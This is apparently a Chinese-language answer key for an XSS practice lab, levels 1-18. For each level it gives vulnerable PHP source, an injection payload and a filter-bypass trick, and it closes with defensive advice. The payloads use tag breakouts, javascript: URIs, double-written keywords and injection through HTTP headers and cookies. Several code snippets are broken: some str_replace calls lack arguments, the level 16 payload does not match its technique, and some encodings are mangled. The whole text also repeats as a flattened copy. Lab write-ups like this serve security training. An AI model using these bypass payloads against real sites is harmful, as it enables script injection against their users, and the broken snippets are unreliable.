xss挑战小游戏答案与解析level 1-18
字数 1515 2025-08-18 11:38:32

XSS挑战小游戏答案与解析(Level 1-18)教学文档

1. 基础概念

XSS(跨站脚本攻击)是一种通过在网页中注入恶意脚本代码的攻击方式。本教学文档将详细解析XSS挑战小游戏1-18关的解题思路和技巧。

2. 各关卡详细解析

Level 1:基础注入

源码分析

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";

漏洞点:直接输出用户输入,无任何过滤

Payload

<script>alert(1)</script>

技巧:最简单的XSS注入,无需任何编码或绕过

Level 2:HTML实体编码绕过

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<center><form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> // 这里没有实体化
<input type=submit name=submit value="搜索"/>
</form>

漏洞点:表单输入值未进行HTML实体编码

Payload

"><script>alert(1)</script>//

"onclick="window.alert()

技巧:闭合前一个属性,注入新的事件处理程序

Level 3:单引号绕过

源码分析

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
."<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>

漏洞点:使用单引号包裹属性值,htmlspecialchars默认不转义单引号

Payload

'onclick='window.alert()

技巧:利用单引号未被转义的特点进行注入

Level 4:字符串替换绕过

源码分析

$str = $_GET["keyword"];
$str2=str_replace($str);
$str3=str_replace($str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>

Payload

"onclick="window.alert()

技巧:虽然进行了字符串替换,但未过滤关键事件处理程序

Level 5:关键词替换与大小写转换

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>

Payload

"><a href="javascript:alert('a')">1</a>//

技巧:使用href属性代替on事件,注意闭合前标签

Level 6:多关键词替换

源码分析

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

Payload

"><a HREF="javascript:alert('a')">1</a>//

技巧:利用大小写绕过替换(无strtolower函数)

Level 7:关键词删除

源码分析

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

Payload

"><scrscriptipt>alert(1)</scrscriptipt>//

技巧:双写绕过关键词删除

Level 8:多维度过滤

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

Payload

javascript:alert()

或Unicode编码:

java'&'#'115;cript:alert()

技巧:使用编码绕过关键词检测

Level 9:URL协议验证

源码分析

if(false===strpos($str7,'http://')){
    echo '<BR><a href="您的链接不合法?有没有!">友情链接</a>';
}else{
    echo '<BR><a href="'.$str7.'">友情链接</a>';
}

Payload

javascri'&'#'x0070;t:alert(1)/*http://www.baidu.com*/

技巧:包含http://注释绕过验证

Level 10:隐藏表单注入

源码分析

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace($str11);
$str33=str_replace($str22);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>

Payload

&t_sort="onclick="alert()"type="text"

技巧:通过参数注入改变input类型

Level 11:HTTP Referer注入

源码分析

$str11=$_SERVER['HTTP_REFERER'];

Payload

Referer: t_sort="type="text" onclick="alert(1)

技巧:修改HTTP头中的Referer字段

Level 12:User-Agent注入

源码分析

$str11=$_SERVER['HTTP_USER_AGENT'];

Payload

User-Agent: t_sort="type="text" onclick="alert(1)

技巧:修改HTTP头中的User-Agent字段

Level 13:Cookie注入

源码分析

$str11=$_COOKIE["user"];

Payload

Cookie: user=t_sort="type="text" onclick="alert(1);

技巧:修改Cookie值进行注入

Level 14:图片EXIF信息注入

技巧:使用exiftool修改图片的EXIF信息包含XSS代码

Level 15:AngularJS ng-include指令

源码分析

$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span>

Payload

/level15.php?src='level1.php?name=test'

技巧:利用ng-include包含外部HTML文件

Level 16:空格和斜杠过滤

源码分析

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);

Payload

?keyword=test

技巧:使用%0d或%0a代替空格

Level 17:Flash嵌入注入

源码分析

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

Payload

?arg01=a&arg02= onmouseover=alert(1)

技巧:在Flash嵌入参数中注入事件处理程序

Level 18:同Level 17

Payload

?arg01=a&arg02=b%20onmouseout=alert(1)

技巧:与Level 17类似,使用不同事件

3. 总结与防御建议

常见XSS绕过技巧:

  1. HTML实体编码绕过
  2. 大小写混淆
  3. 双写关键词
  4. 使用编码(Unicode、HTML实体等)
  5. 利用JavaScript伪协议
  6. 修改HTTP头信息
  7. 使用非空格分隔符(%0d、%0a等)
  8. 利用框架特性(如AngularJS)

防御建议:

  1. 对所有用户输入进行适当的过滤和转义
  2. 使用Content Security Policy (CSP)
  3. 设置HttpOnly标志的Cookie
  4. 对输出内容进行编码
  5. 使用白名单验证输入
  6. 避免直接使用用户输入构建DOM

通过这18个关卡的练习,可以全面了解XSS攻击的各种技巧和防御方法。

XSS挑战小游戏答案与解析(Level 1-18)教学文档 1. 基础概念 XSS(跨站脚本攻击)是一种通过在网页中注入恶意脚本代码的攻击方式。本教学文档将详细解析XSS挑战小游戏1-18关的解题思路和技巧。 2. 各关卡详细解析 Level 1:基础注入 源码分析 : 漏洞点 :直接输出用户输入,无任何过滤 Payload : 技巧 :最简单的XSS注入,无需任何编码或绕过 Level 2:HTML实体编码绕过 源码分析 : 漏洞点 :表单输入值未进行HTML实体编码 Payload : 或 技巧 :闭合前一个属性,注入新的事件处理程序 Level 3:单引号绕过 源码分析 : 漏洞点 :使用单引号包裹属性值,htmlspecialchars默认不转义单引号 Payload : 技巧 :利用单引号未被转义的特点进行注入 Level 4:字符串替换绕过 源码分析 : Payload : 技巧 :虽然进行了字符串替换,但未过滤关键事件处理程序 Level 5:关键词替换与大小写转换 源码分析 : Payload : 技巧 :使用href属性代替on事件,注意闭合前标签 Level 6:多关键词替换 源码分析 : Payload : 技巧 :利用大小写绕过替换(无strtolower函数) Level 7:关键词删除 源码分析 : Payload : 技巧 :双写绕过关键词删除 Level 8:多维度过滤 源码分析 : Payload : 或Unicode编码: 技巧 :使用编码绕过关键词检测 Level 9:URL协议验证 源码分析 : Payload : 技巧 :包含http://注释绕过验证 Level 10:隐藏表单注入 源码分析 : Payload : 技巧 :通过参数注入改变input类型 Level 11:HTTP Referer注入 源码分析 : Payload : 技巧 :修改HTTP头中的Referer字段 Level 12:User-Agent注入 源码分析 : Payload : 技巧 :修改HTTP头中的User-Agent字段 Level 13:Cookie注入 源码分析 : Payload : 技巧 :修改Cookie值进行注入 Level 14:图片EXIF信息注入 技巧 :使用exiftool修改图片的EXIF信息包含XSS代码 Level 15:AngularJS ng-include指令 源码分析 : Payload : 技巧 :利用ng-include包含外部HTML文件 Level 16:空格和斜杠过滤 源码分析 : Payload : 技巧 :使用%0d或%0a代替空格 Level 17:Flash嵌入注入 源码分析 : Payload : 技巧 :在Flash嵌入参数中注入事件处理程序 Level 18:同Level 17 Payload : 技巧 :与Level 17类似,使用不同事件 3. 总结与防御建议 常见XSS绕过技巧: HTML实体编码绕过 大小写混淆 双写关键词 使用编码(Unicode、HTML实体等) 利用JavaScript伪协议 修改HTTP头信息 使用非空格分隔符(%0d、%0a等) 利用框架特性(如AngularJS) 防御建议: 对所有用户输入进行适当的过滤和转义 使用Content Security Policy (CSP) 设置HttpOnly标志的Cookie 对输出内容进行编码 使用白名单验证输入 避免直接使用用户输入构建DOM 通过这18个关卡的练习,可以全面了解XSS攻击的各种技巧和防御方法。